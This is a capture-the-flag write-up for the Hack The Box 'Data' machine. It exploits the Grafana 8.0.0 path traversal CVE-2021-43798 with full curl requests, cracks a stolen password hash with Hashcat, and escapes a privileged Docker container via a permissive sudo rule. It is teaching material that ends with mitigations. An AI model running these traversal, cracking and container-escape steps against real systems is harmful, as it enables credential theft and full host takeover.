Post

HTB Data CTF Writeup

Easy-rated Linux box. Grafana 8.x path traversal (CVE-2021-43798) reads the backend SQLite database containing bcrypt hashes cracked with Hashcat. A privileged Docker container is escaped via sudo to gain root on the host system.

HTB Data CTF Writeup

HTB Data CTF Writeup

Summary

This writeup demonstrates a complete compromise of the HTB Data machine, progressing from initial reconnaissance through container breakout to achieve root access on the host system. The attack chain exploits a path traversal vulnerability in Grafana version 8.0.0, uses credential cracking to gain initial access, and leverages misconfigured Docker privileges to escape a container and access the underlying host filesystem.

Service Discovery and Enumeration

Grafana Service Identification

During the initial port scan, I discovered that port 3000 was open and hosting a Grafana instance. Grafana is a popular open-source analytics and monitoring platform that organizations use to visualize time-series data. When I navigated to the service in my browser, the login page helpfully displayed the exact version information in the footer: version 8.0.0 with build hash 41f0542c1e.

image.webp

This level of version disclosure is significant because it allows attackers to quickly identify known vulnerabilities without needing to perform any additional fingerprinting or probing. In production environments, version information should ideally be suppressed to avoid giving attackers this advantage.

Vulnerability Research

With the exact version identified, I searched for known security vulnerabilities affecting Grafana 8.0.0. This research led me to CVE-2021-43798, a directory traversal vulnerability documented in the official Grafana security advisory at https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p.

The vulnerability exists in how Grafana serves plugin files. By manipulating the URL path with directory traversal sequences (the classic dot-dot-slash pattern encoded as %2F..%2F), an unauthenticated attacker can escape the intended plugin directory and read arbitrary files from the server’s filesystem. This is particularly dangerous because it requires no authentication and can expose sensitive configuration files, credentials, and other secrets.

Exploiting the Path Traversal

To verify the vulnerability, I crafted a request targeting the /etc/passwd file, which is a standard Unix file that lists all user accounts on the system. The exploit URL structure looks like this:

1
curl http://data.vl:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Let me break down how this works. The URL starts at a legitimate endpoint (/public/plugins/mysql/) where Grafana serves plugin files. However, by appending multiple URL-encoded parent directory references (..%2F), we traverse backwards through the directory structure until we reach the root filesystem, then navigate forward to /etc/passwd. Each %2F represents a URL-encoded forward slash, and the repeated ../ sequences climb up the directory tree.

The successful response confirmed the vulnerability:

1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
<SNIP>

Interestingly, the shell shown for the root user is /bin/ash rather than the more common /bin/bash. This is a hint that we’re likely dealing with an Alpine Linux container, as Alpine uses ash (a lightweight shell) as its default shell to minimize the container image size.

Credential Extraction and Cracking

Targeting Grafana’s Database

With confirmed arbitrary file read capability, my next objective was to extract sensitive Grafana configuration and data. Through research and knowledge of typical Grafana installations, I identified two critical files:

The main configuration file at /etc/grafana/grafana.ini contains database connection strings, authentication settings, and other sensitive configuration parameters. More importantly, the SQLite database at /var/lib/grafana/grafana.db stores user credentials, dashboard configurations, and other application data.

I retrieved the database file using the same path traversal technique:

1
curl http://data.vl:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db --output grafana.db

Database Analysis

With the database file downloaded, I used SQLite’s command-line interface to explore its contents. SQLite is a self-contained database engine that stores the entire database in a single file, making it perfect for applications like Grafana but also convenient for attackers who can extract the complete database in one operation.

I configured the output format for better readability and queried the user table:

1
2
3
sqlite3 grafana.db
sqlite> .mode line 
sqlite> select * from user;

This revealed a user account for “boris” with a hashed password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
            id = 2
       version = 0
         login = boris
         email = [email protected]
          name = boris
      password = dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8
          salt = LCBhdtJWjl
         rands = mYl941ma8w
       company = 
        org_id = 1
      is_admin = 0
email_verified = 0
         theme = 
       created = 2022-01-23 12:49:11
       updated = 2022-01-23 12:49:11
   help_flags1 = 0
  last_seen_at = 2012-01-23 12:49:11
   is_disabled = 0

Understanding Grafana’s Password Storage

Grafana uses a secure password hashing scheme that combines the password hash with a unique salt value. The salt (LCBhdtJWjl in this case) is a random value added to the password before hashing to prevent rainbow table attacks. Even if two users have the same password, their hashes will differ because of unique salts. This is a security best practice that makes pre-computed hash databases ineffective.

The long hexadecimal string is the actual password hash, generated using SHA-256 hashing with the salt. To crack this password, I needed to convert it into a format that Hashcat (a popular password cracking tool) could understand.

Hash Format Conversion

I used a specialized tool from https://github.com/iamaldi/grafana2hashcat to convert the Grafana password format into Hashcat’s expected format. This tool combines the hash and salt in the proper order that Hashcat expects for mode 10900 (PBKDF2-HMAC-SHA256).

image.webp

The resulting hash file format places the hash and salt on a single line, separated by a comma:

1
2
cat hashes.txt 
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl

Password Cracking

With the properly formatted hash, I launched Hashcat using mode 10900 (which handles PBKDF2-HMAC-SHA256 hashes) against the rockyou.txt wordlist, one of the most popular password dictionaries containing over 14 million real-world passwords leaked from various breaches:

1
hashcat -m 10900 hashes.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt

The password cracked almost instantly, revealing that boris had chosen a weak, dictionary-based password:

1
boris:beautiful1

This demonstrates an important security principle: even strong hashing algorithms cannot protect weak passwords. The password “beautiful1” follows a common pattern of a dictionary word with a number appended, making it vulnerable to basic wordlist attacks.

Initial Access via SSH

Armed with valid credentials, I attempted to authenticate to the SSH service that I had identified during initial reconnaissance. The credentials worked, granting me shell access as the user boris:

This step highlights why credential reuse is dangerous. Boris used the same password for both Grafana and his SSH account, meaning that compromising one service led to compromising another. In secure environments, different services should use different authentication mechanisms, and password reuse should be strictly avoided.

Privilege Escalation Discovery

Sudo Configuration Analysis

Once logged in as boris, my first privilege escalation check was to examine what commands boris could run with elevated privileges. The sudo -l command lists all sudo permissions for the current user:

1
2
3
4
5
6
7
8
boris@data:~$ sudo -l

Matching Defaults entries for boris on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

This output revealed a critical misconfiguration. Boris can execute the docker exec command as root without providing a password (NOPASSWD), and the wildcard asterisk means he can pass any arguments to the command. This is extremely dangerous because docker exec allows running commands inside containers, and if those containers are privileged, it can lead to complete system compromise.

Container Environment Detection

At this point, I noticed something interesting. When I had earlier retrieved /etc/passwd through the Grafana path traversal vulnerability, the user “boris” was not listed in that file. However, boris clearly exists on the current system since I successfully logged in as that user. Let me verify this discrepancy:

1
curl http://data.vl:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd | grep -i boris

No results. This confirms that the Grafana service is running inside a Docker container with its own separate filesystem, isolated from the host system where boris’s account exists. This is actually a security best practice — running services in containers provides isolation. However, as we’ll see, the container configuration was not secure.

Container Access and Privilege Analysis

Gaining Root in the Grafana Container

Using the sudo permission, I executed a command to get an interactive root shell inside the grafana container:

1
sudo /snap/bin/docker exec -it -u 0 grafana sh

Let me explain each component of this command. The -it flags combine two options: -i keeps stdin open for interaction, and -t allocates a pseudo-TTY, together allowing an interactive shell session. The -u 0 flag specifies that I want to run as user ID 0, which is always the root user in Unix systems. The container name is “grafana”, and “sh” is the shell command to execute.

Once inside, I verified my privileges:

1
2
/usr/share/grafana # id 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Being root inside a container is normally not a major security issue because container isolation should prevent access to the host system. However, the key question is whether this is a privileged container, which would have much weaker isolation boundaries.

Privileged Container Detection

Docker containers can run in two modes: unprivileged (the default and more secure option) and privileged. A privileged container has nearly all the capabilities of the host system and can access hardware devices directly. This is sometimes necessary for certain applications but creates significant security risks.

I tested for privileged mode using the fdisk command, which lists disk devices:

1
2
3
4
5
6
7
8
9
fdisk -l | grep -A 10 -i "device"

Disk /dev/sda: 6144 MB, 6442450944 bytes, 12582912 sectors
24672 cylinders, 255 heads, 2 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device  Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/sda1    4,4,1       1023,254,2        2048   10487807   10485760 5120M 83 Linux
/dev/sda2    1023,254,2  1023,254,2    10487808   12582911    2095104 1023M 82 Linux swap

The fact that this command succeeded and showed real hardware devices is a major red flag. In an unprivileged container, this command would be denied because the container cannot see the host’s block devices. This confirms we’re in a privileged container.

I verified this further by checking the seccomp (secure computing mode) status:

1
2
cat /proc/1/status | grep -i "seccomp"
Seccomp:        0

The seccomp value of 0 means no seccomp filtering is applied, another indicator of a privileged container. In a properly secured unprivileged container, this value would be 2, indicating strict seccomp filtering that blocks dangerous system calls.

Container Breakout and Host Compromise

Identifying the Host Filesystem

From inside the privileged container, I needed to identify which disk device belonged to the host system’s root filesystem. I examined the mounted filesystems:

1
2
3
4
5
6
7
8
9
df -h 
Filesystem                Size      Used Available Use% Mounted on
overlay                   4.8G      1.8G      2.9G  39% /
tmpfs                    64.0M         0     64.0M   0% /dev
tmpfs                   991.8M         0    991.8M   0% /sys/fs/cgroup
shm                      64.0M    744.0K     63.3M   1% /dev/shm
/dev/sda1                 4.8G      1.8G      2.9G  39% /etc/resolv.conf
/dev/sda1                 4.8G      1.8G      2.9G  39% /etc/hostname
/dev/sda1                 4.8G      1.8G      2.9G  39% /etc/hosts

The key observation here is /dev/sda1 appearing multiple times with the same size. This is the host’s primary disk partition. In a privileged container, we can directly access this block device and mount it, effectively accessing the entire host filesystem.

Mounting the Host Filesystem

The escape technique is surprisingly straightforward once you have privileged container access. I created a mount point and mounted the host’s root partition:

1
2
3
mkdir /mnt/bsec
mount /dev/sda1 /mnt/bsec
ls -la /mnt/bsec

This works because privileged containers have the CAP_SYS_ADMIN capability, which allows mounting filesystems. By mounting the host’s disk partition, we’re essentially overlaying the host’s filesystem on top of our mount point inside the container.

Accessing the Root Flag

With the host filesystem mounted, I could now access any file on the host system, including the root user’s home directory:

1
2
3
4
5
6
7
8
9
10
11
12
ls -la /mnt/bsec/root
total 36
drwx------    7 root     root          4096 Sep 27 09:35 .
drwxr-xr-x   23 root     root          4096 Jun  4 13:20 ..
lrwxrwxrwx    1 root     root             9 Jan 23  2022 .bash_history -> /dev/null
drwx------    2 root     root          4096 Apr  9 09:05 .cache
drwx------    3 root     root          4096 Apr  9 09:05 .gnupg
drwxr-xr-x    3 root     root          4096 Jan 23  2022 .local
-rw-r--r--    1 root     root           148 Aug 17  2015 .profile
drwx------    2 root     root          4096 Jan 23  2022 .ssh
-rw-r-----    1 root     root            33 Sep 27 09:35 root.txt
drwxr-xr-x    4 root     root          4096 Jan 23  2022 snap

The root.txt file contains the final flag, proving complete compromise of the system.

Security Lessons and Mitigations

This CTF challenge demonstrates several important security principles:

Version Disclosure: The Grafana version was prominently displayed, enabling quick vulnerability identification. Production systems should suppress version information in headers and UI elements.

Unpatched Vulnerabilities: The path traversal vulnerability in Grafana 8.0.0 was well-known and easily exploitable. Regular patching and vulnerability management are essential.

Weak Passwords: Despite strong hashing, the weak password “beautiful1” cracked instantly. Organizations should enforce strong password policies and consider multi-factor authentication.

Credential Reuse: Boris used the same password for multiple services. Credential isolation between services limits the blast radius of compromises.

Overly Permissive Sudo Rules: Allowing unrestricted docker exec as root with NOPASSWD is extremely dangerous. Sudo permissions should follow the principle of least privilege with specific, limited commands.

Privileged Containers: Running containers in privileged mode should be avoided unless absolutely necessary. The container breakout demonstrated here would not be possible with proper container isolation.

Defense in Depth: This compromise required multiple security failures in sequence. Addressing any single issue in this chain would have prevented the full compromise, highlighting the importance of layered security controls.

References

  • Grafana Path Traversal Advisory: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  • Grafana Password Conversion Tool: https://github.com/iamaldi/grafana2hashcat
  • Docker Container Breakout Techniques: https://juggernaut-sec.com/docker-breakout-lpe/
This post is licensed under CC BY 4.0 by the author.